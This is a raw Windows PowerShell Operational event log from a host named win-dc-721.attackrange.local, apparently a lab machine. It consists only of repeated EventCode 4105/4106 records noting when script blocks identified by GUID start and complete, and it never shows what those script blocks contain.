Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477452
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477451
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477450
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477449
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477448
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477447
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477446
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477445
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477444
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477443
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477442
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477441
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477440
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477439
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477438
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477437
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477436
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477435
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477434
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477433
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477432
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477431
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477430
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477429
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477428
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477427
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477426
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477425
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477424
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477423
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477422
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477421
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477420
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477419
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477418
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477417
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477416
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477415
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477414
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477413
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477412
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477411
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477410
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477409
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477408
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477407
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477406
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477405
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477404
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477403
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477402
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477401
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477400
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477399
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477398
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
